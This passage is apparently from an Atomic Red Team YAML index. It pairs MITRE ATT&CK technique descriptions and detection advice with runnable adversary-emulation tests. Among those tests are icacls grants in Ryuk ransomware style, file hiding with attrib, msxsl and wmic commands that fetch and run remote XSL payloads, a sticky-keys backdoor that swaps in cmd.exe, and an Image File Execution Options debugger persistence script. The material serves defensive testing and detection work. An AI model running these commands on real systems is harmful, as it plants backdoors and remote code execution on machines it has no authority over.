      description: |-
        Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)

        Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.

        There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)
      id: attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2021-04-14T13:21:37.474Z'
      created: '2020-01-30T17:48:49.395Z'
      x_mitre_version: '1.2'
      x_mitre_is_subtechnique: true
      x_mitre_defense_bypassed:
      - System Access Controls
      x_mitre_detection: Monitor for anomalous access of websites and cloud-based
        applications by the same user in different locations or by different systems
        that do not match expected configurations.
      x_mitre_data_sources:
      - 'Web Credential: Web Credential Usage'
      - 'Application Log: Application Log Content'
      x_mitre_contributors:
      - Johann Rehberger
      x_mitre_platforms:
      - Office 365
      - SaaS
      - Google Workspace
    atomic_tests: []
  T1222.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1222.001
        url: https://attack.mitre.org/techniques/T1222/001
      - url: https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100
        description: Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe.
          Retrieved August 19, 2018.
        source_name: Hybrid Analysis Icacls1 June 2018
      - url: https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110
        description: Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll.
          Retrieved August 19, 2018.
        source_name: Hybrid Analysis Icacls2 May 2018
      - url: https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces
        description: Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19,
          2018.
        source_name: Microsoft DACL May 2018
      - source_name: Microsoft Access Control Lists May 2018
        url: https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists
        description: M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved
          February 4, 2020.
      - url: https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/
        description: Netsurion. (2014, February 19). Monitoring File Permission Changes
          with the Windows Security Log. Retrieved August 19, 2018.
        source_name: EventTracker File Permissions Feb 2014
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Windows File and Directory Permissions Modification
      description: |-
        Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

        Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)

        Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).
      id: attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-09-01T20:05:05.268Z'
      created: '2020-02-04T19:17:41.767Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_detection: |-
        Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.

        Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Active Directory: Active Directory Object Modification'
      - 'File: File Metadata'
      x_mitre_platforms:
      - Windows
      identifier: T1222.001
    atomic_tests:
    - name: Take ownership using takeown utility
      auto_generated_guid: 98d34bb4-6e75-42ad-9c41-1dae7dc6a001
      description: |
        Modifies the filesystem permissions of the specified file or folder to take ownership of the object. Upon execution, "SUCCESS" will
        be displayed for the folder and each file inside of it.
      supported_platforms:
      - windows
      input_arguments:
        file_folder_to_own:
          description: Path of the file or folder for takeown to take ownership.
          type: Path
          default: "%temp%\\T1222.001_takeown_folder"
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'Test requrires a file to take ownership of to be located at
          (#{file_folder_to_own})

'
        prereq_command: 'IF EXIST #{file_folder_to_own} ( EXIT 0 ) ELSE ( EXIT 1 )

'
        get_prereq_command: |
          mkdir #{file_folder_to_own}
          echo T1222.001_takeown1 >> #{file_folder_to_own}\T1222.001_takeown1.txt
          echo T1222.001_takeown2 >> #{file_folder_to_own}\T1222.001_takeown2.txt
      executor:
        command: 'takeown.exe /f #{file_folder_to_own} /r

'
        name: command_prompt
    - name: cacls - Grant permission to specified user or group recursively
      auto_generated_guid: a8206bcc-f282-40a9-a389-05d9c0263485
      description: |
        Modifies the filesystem permissions of the specified folder and contents to allow the specified user or group Full Control. If "Access is denied"
        is displayed it may be because the file or folder doesn't exit. Run the prereq command to create it. Upon successfull execution, "Successfully processed 3 files"
        will be displayed.
      supported_platforms:
      - windows
      input_arguments:
        file_or_folder:
          description: Path of the file or folder to change permissions.
          type: Path
          default: "%temp%\\T1222.001_cacls"
        user_or_group:
          description: User or group to allow full control
          type: String
          default: Everyone
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'Test requrires a file to modify to be located at (#{file_or_folder})

'
        prereq_command: 'IF EXIST #{file_or_folder} ( EXIT 0 ) ELSE ( EXIT 1 )

'
        get_prereq_command: |
          mkdir #{file_or_folder}
          echo T1222.001_cacls1 >> #{file_or_folder}\T1222.001_cacls1.txt
          echo T1222.001_cacls2 >> #{file_or_folder}\T1222.001_cacls2.txt
      executor:
        command: 'icacls.exe #{file_or_folder} /grant #{user_or_group}:F

'
        name: command_prompt
    - name: attrib - Remove read-only attribute
      auto_generated_guid: bec1e95c-83aa-492e-ab77-60c71bbd21b0
      description: |
        Removes the read-only attribute from a file or folder using the attrib.exe command. Upon execution, no output will be displayed.
        Open the file in File Explorer > Right Click - Prperties and observe that the Read Only checkbox is empty.
      supported_platforms:
      - windows
      input_arguments:
        file_or_folder:
          description: Path of the file or folder remove attribute.
          type: Path
          default: "%temp%\\T1222.001_attrib"
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'Test requrires a file to modify to be located at (#{file_or_folder})

'
        prereq_command: 'IF EXIST #{file_or_folder} ( EXIT 0 ) ELSE ( EXIT 1 )

'
        get_prereq_command: |
          mkdir #{file_or_folder}
          echo T1222.001_attrib1 >> #{file_or_folder}\T1222.001_attrib1.txt
          echo T1222.001_attrib2 >> #{file_or_folder}\T1222.001_attrib2.txt
          attrib.exe +r #{file_or_folder}\T1222.001_attrib1.txt
          attrib.exe +r #{file_or_folder}\T1222.001_attrib2.txt
      executor:
        command: 'attrib.exe -r #{file_or_folder}\*.* /s

'
        name: command_prompt
    - name: attrib - hide file
      auto_generated_guid: 32b979da-7b68-42c9-9a99-0e39900fc36c
      description: |
        Attackers leverage an existing Windows binary, attrib.exe, to mark specific files or folder as hidden by using specific flags so that
        the victim does not see the file.
      supported_platforms:
      - windows
      input_arguments:
        file_or_folder:
          description: Path of the files to hide.
          type: Path
          default: "%temp%\\T1222.001_attrib_2"
      executor:
        command: |
          mkdir #{file_or_folder} >nul 2>&1
          echo T1222.001_attrib1 >> #{file_or_folder}\T1222.001_attrib1.txt
          echo T1222.001_attrib2 >> #{file_or_folder}\T1222.001_attrib2.txt
          attrib.exe +h #{file_or_folder}\T1222.001_attrib1.txt
          attrib.exe +h #{file_or_folder}\T1222.001_attrib2.txt
        cleanup_command: 'del /A:H #{file_or_folder}\T1222.001_attrib*.txt >nul 2>&1

'
        name: command_prompt
    - name: Grant Full Access to folder for Everyone - Ryuk Ransomware Style
      auto_generated_guid: ac7e6118-473d-41ec-9ac0-ef4f1d1ed2f6
      description: |
        Invokes the command line similar to that used by Ryuk Ransomware to grant full access to the entire C:\ drive for Everyone.
        **icacls "C:\*" /grant Everyone:F /T /C /Q**
        However, for this atomic we set the permission on C:\Users\Public so it completes faster and doesn't irreversibly affect the host.
        You can set your own path variable to "C:\*" if you prefer.
      supported_platforms:
      - windows
      input_arguments:
        path:
          description: Path of folder to recursively set permissions on
          type: Path
          default: C:\Users\Public\*
        file_path:
          description: Path of folder permission back
          type: Path
          default: "%temp%\\T1222.001-folder-perms-backup.txt"
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'Backup of original folder permissions should exist (for use
          in cleanup commands)

'
        prereq_command: 'IF EXIST #{file_path} ( EXIT 0 ) ELSE ( EXIT 1 )

'
        get_prereq_command: 'icacls #{path} /save #{file_path} /t /q >nul 2>&1

'
      executor:
        command: icacls "#{path}" /grant Everyone:F /T /C /Q
        cleanup_command: 'icacls ''#{path}'' /restore #{file_path} /q >nul 2>&1

'
        name: command_prompt
        elevation_required: true
  T1220:
    technique:
      id: attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: XSL Script Processing
      description: |-
        Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)

        Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)

        Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)

        * <code>msxsl.exe customers[.]xml script[.]xsl</code>
        * <code>msxsl.exe script[.]xsl script[.]xsl</code>
        * <code>msxsl.exe script[.]jpeg script[.]jpeg</code>

        Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)

        Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)

        * Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>
        * Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code>
      external_references:
      - source_name: mitre-attack
        external_id: T1220
        url: https://attack.mitre.org/techniques/T1220
      - url: https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script
        description: Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting
          Using <msxsl:script>. Retrieved July 3, 2018.
        source_name: Microsoft XSLT Script Mar 2017
      - url: https://www.microsoft.com/download/details.aspx?id=21714
        description: Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe).
          Retrieved July 3, 2018.
        source_name: Microsoft msxsl.exe
      - url: https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/
        description: netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved
          July 3, 2018.
        source_name: Penetration Testing Lab MSXSL July 2017
      - url: https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/
        description: Admin. (2018, March 2). Spear-phishing campaign leveraging on
          MSXSL. Retrieved July 3, 2018.
        source_name: Reaqta MSXSL Spearphishing MAR 2018
      - description: Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to
          Proxy Code Execution. Retrieved August 2, 2019.
        url: https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75
        source_name: XSL Bypass Mar 2019
      - source_name: LOLBAS Wmic
        url: https://lolbas-project.github.io/lolbas/Binaries/Wmic/
        description: LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.
      - url: https://twitter.com/dez_/status/986614411711442944
        description: Desimone, J. (2018, April 18). Status Update. Retrieved July
          3, 2018.
        source_name: Twitter SquiblyTwo Detection APR 2018
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - phase_name: defense-evasion
        kill_chain_name: mitre-attack
      modified: '2021-02-09T15:07:00.842Z'
      created: '2018-10-17T00:14:20.652Z'
      x_mitre_is_subtechnique: false
      x_mitre_system_requirements:
      - Microsoft Core XML Services (MSXML) or access to wmic.exe
      x_mitre_platforms:
      - Windows
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.

        The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      - Digital Certificate Validation
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Module: Module Load'
      x_mitre_contributors:
      - Avneet Singh
      - Casey Smith
      - Praetorian
      x_mitre_version: '1.2'
      identifier: T1220
    atomic_tests:
    - name: MSXSL Bypass using local files
      auto_generated_guid: ca23bfb2-023f-49c5-8802-e66997de462d
      description: "Executes the code specified within a XSL script tag during XSL
        transformation using a local payload. \nRequires download of MSXSL. No longer
        available from Microsoft.\n(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714
        ) \nOpen Calculator.exe when test successfully executed, while AV turned off.\n"
      supported_platforms:
      - windows
      input_arguments:
        xmlfile:
          description: Location of the test XML file on the local filesystem.
          type: Path
          default: PathToAtomicsFolder\T1220\src\msxslxmlfile.xml
        xslfile:
          description: Location of the test XSL script file on the local filesystem.
          type: Path
          default: PathToAtomicsFolder\T1220\src\msxslscript.xsl
        msxsl_exe:
          description: Location of the MSXSL executable.
          type: Path
          default: PathToAtomicsFolder\T1220\bin\msxsl.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'XML file must exist on disk at specified location (#{xmlfile})

'
        prereq_command: 'if (Test-Path #{xmlfile}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{xmlfile}) -ErrorAction Ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslxmlfile.xml" -OutFile "#{xmlfile}"
      - description: 'XSL file must exist on disk at specified location (#{xslfile})

'
        prereq_command: 'if (Test-Path #{xslfile}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{xslfile}) -ErrorAction Ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslscript.xsl" -OutFile "#{xslfile}"
      - description: 'msxsl.exe must exist on disk at specified location (#{msxsl_exe})

'
        prereq_command: 'if (Test-Path #{msxsl_exe}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Invoke-WebRequest "https://web.archive.org/web/20200803205229if_/https://download.microsoft.com/download/f/2/6/f263ac46-1fe9-4ae9-8fd3-21102100ebf5/msxsl.exe"
          -OutFile "#{msxsl_exe}"

'
      executor:
        command: "#{msxsl_exe} #{xmlfile} #{xslfile}\n"
        cleanup_command: 'del #{msxsl_exe} >nul 2>&1

'
        name: command_prompt
    - name: MSXSL Bypass using remote files
      auto_generated_guid: a7c3ab07-52fb-49c8-ab6d-e9c6d4a0a985
      description: |
        Executes the code specified within a XSL script tag during XSL transformation using a remote payload.
        Requires download of MSXSL.exe. No longer available from Microsoft.
        (Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 )
        Open Calculator.exe when test successfully executed, while AV turned off.
      supported_platforms:
      - windows
      input_arguments:
        xmlfile:
          description: Remote location (URL) of the test XML file.
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml
        xslfile:
          description: Remote location (URL) of the test XSL script file.
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl
        msxsl_exe:
          description: Location of the MSXSL executable.
          type: Path
          default: PathToAtomicsFolder\T1220\bin\msxsl.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'msxsl.exe must exist on disk at specified location (#{msxsl_exe})

'
        prereq_command: 'if (Test-Path #{msxsl_exe}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Invoke-WebRequest "https://web.archive.org/web/20200803205229if_/https://download.microsoft.com/download/f/2/6/f263ac46-1fe9-4ae9-8fd3-21102100ebf5/msxsl.exe"
          -OutFile "#{msxsl_exe}"

'
      executor:
        command: "#{msxsl_exe} #{xmlfile} #{xslfile}\n"
        cleanup_command: 'del -Path #{msxsl_exe} >nul 2>&1

'
        name: command_prompt
    - name: WMIC bypass using local XSL file
      auto_generated_guid: 1b237334-3e21-4a0c-8178-b8c996124988
      description: 'Executes the code specified within a XSL script using a local
        payload.

'
      supported_platforms:
      - windows
      input_arguments:
        wmic_command:
          description: WMI command to execute using wmic.exe
          type: String
          default: process list
        local_xsl_file:
          description: Location of the test XSL script file on the local filesystem.
          type: Path
          default: PathToAtomicsFolder\T1220\src\wmicscript.xsl
      dependency_executor_name: powershell
      dependencies:
      - description: 'XSL file must exist on disk at specified location (#{local_xsl_file})

'
        prereq_command: 'if (Test-Path #{local_xsl_file}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{local_xsl_file}) -ErrorAction Ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/wmicscript.xsl" -OutFile "#{local_xsl_file}"
      executor:
        command: 'wmic #{wmic_command} /FORMAT:"#{local_xsl_file}"

'
        name: command_prompt
    - name: WMIC bypass using remote XSL file
      auto_generated_guid: 7f5be499-33be-4129-a560-66021f379b9b
      description: 'Executes the code specified within a XSL script using a remote
        payload. Open Calculator.exe when test successfully executed, while AV turned
        off.

'
      supported_platforms:
      - windows
      input_arguments:
        remote_xsl_file:
          description: Remote location of an XSL payload.
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl
        wmic_command:
          description: WMI command to execute using wmic.exe
          type: String
          default: process list
      executor:
        command: 'wmic #{wmic_command} /FORMAT:"#{remote_xsl_file}"

'
        name: command_prompt
persistence:
  T1546.008:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.008
        url: https://attack.mitre.org/techniques/T1546/008
      - external_id: CAPEC-558
        source_name: capec
        url: https://capec.mitre.org/data/definitions/558.html
      - url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html
        description: 'Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit:
          Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.'
        source_name: FireEye Hikit Rootkit
      - url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom
        description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to
          the Kingdom. Retrieved July 5, 2017.
        source_name: DEFCON2016 Sticky Keys
      - url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
        description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse.
          Retrieved November 12, 2014.
        source_name: Tilbury 2014
      - source_name: Narrator Accessibility Abuse
        url: https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html
        description: Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub'
          URI for Fileless Persistence. Retrieved April 28, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Accessibility Features
      description: |-
        Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

        Two common accessibility programs are <code>C:\Windows\System32\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\Windows\System32\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)

        Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.

        For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\Windows\System32\utilman.exe</code>) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

        Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)

        * On-Screen Keyboard: <code>C:\Windows\System32\osk.exe</code>
        * Magnifier: <code>C:\Windows\System32\Magnify.exe</code>
        * Narrator: <code>C:\Windows\System32\Narrator.exe</code>
        * Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code>
        * App Switcher: <code>C:\Windows\System32\AtBroker.exe</code>
      id: attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-05-13T20:37:30.048Z'
      created: '2020-01-24T14:32:40.315Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: Changes to accessibility utility binaries or binary paths
        that do not correlate with known software, patch cycles, etc., are suspicious.
        Command line invocation of tools capable of modifying the Registry for associated
        keys are also suspicious. Utility arguments and the binaries themselves should
        be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
        NT\CurrentVersion\Image File Execution Options</code>.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_contributors:
      - Paul Speulstra, AECOM Global Security Operations Center
      x_mitre_platforms:
      - Windows
      identifier: T1546.008
    atomic_tests:
    - name: Attaches Command Prompt as a Debugger to a List of Target Processes
      auto_generated_guid: 3309f53e-b22b-4eb6-8fd2-a6cf58b355a9
      description: |
        Attaches cmd.exe to a list of processes. Configure your own Input arguments to a different executable or list of executables.

        Upon successful execution, powershell will modify the registry and swap osk.exe with cmd.exe.
      supported_platforms:
      - windows
      input_arguments:
        parent_list:
          description: 'Comma separated list of system binaries to which you want
            to attach each #{attached_process}. Default: "osk.exe"

'
          type: String
          default: osk.exe, sethc.exe, utilman.exe, magnify.exe, narrator.exe, DisplaySwitch.exe,
            atbroker.exe
        attached_process:
          description: 'Full path to process to attach to target in #{parent_list}.
            Default: cmd.exe

'
          type: Path
          default: C:\windows\system32\cmd.exe
      executor:
        command: |
          $input_table = "#{parent_list}".split(",")
          $Name = "Debugger"
          $Value = "#{attached_process}"
          Foreach ($item in $input_table){
            $item = $item.trim()
            $registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item"
            IF(!(Test-Path $registryPath))
            {
              New-Item -Path $registryPath -Force
              New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force
            }
            ELSE
            {
              New-ItemProperty -Path $registryPath -Name $name -Value $Value
            }
          }
        cleanup_command: |
          $input_table = "#{parent_list}".split(",")
          Foreach ($item in $input_table)
          {
            $item = $item.trim()
            reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item" /v Debugger /f 2>&1 | Out-Null
          }
        name: powershell
        elevation_required: true
    - name: Replace binary of sticky keys
      auto_generated_guid: 934e90cf-29ca-48b3-863c-411737ad44e3
      description: 'Replace sticky keys binary (sethc.exe) with cmd.exe

'
      supported_platforms:
      - windows
      executor:
        command: |
          copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe
          takeown /F C:\Windows\System32\sethc.exe /A
          icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t
          copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
        cleanup_command: 'copy /Y C:\Windows\System32\sethc_backup.exe C:\Windows\System32\sethc.exe

'
        name: command_prompt
        elevation_required: true
  T1098:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1098
        url: https://attack.mitre.org/techniques/T1098
      - source_name: Microsoft User Modified Event
        description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account
          was changed. Retrieved June 30, 2017.'
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738
      - description: Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670.
          Retrieved November 4, 2019.
        url: https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670
        source_name: Microsoft Security Event 4670
      - url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM
        description: Warren, J. (2017, July 11). Manipulating User Passwords with
          Mimikatz. Retrieved December 4, 2017.
        source_name: InsiderThreat ChangeNTLM July 2017
      - url: https://github.com/gentilkiwi/mimikatz/issues/92
        description: 'Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm
          work, but generate Windows events #92. Retrieved December 4, 2017.'
        source_name: GitHub Mimikatz Issue 92 June 2017
      description: Adversaries may manipulate accounts to maintain access to victim
        systems. Account manipulation may consist of any action that preserves adversary
        access to a compromised account, such as modifying credentials or permission
        groups. These actions could also include account activity designed to subvert
        security policies, such as performing iterative password updates to bypass
        password duration policies and preserve the life of compromised credentials.
        In order to create or manipulate accounts, the adversary must already have
        sufficient permissions on systems or the domain.
      name: Account Manipulation
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-20T16:21:28.502Z'
      created: '2017-05-31T21:31:12.196Z'
      x_mitre_is_subtechnique: false
      x_mitre_version: '2.2'
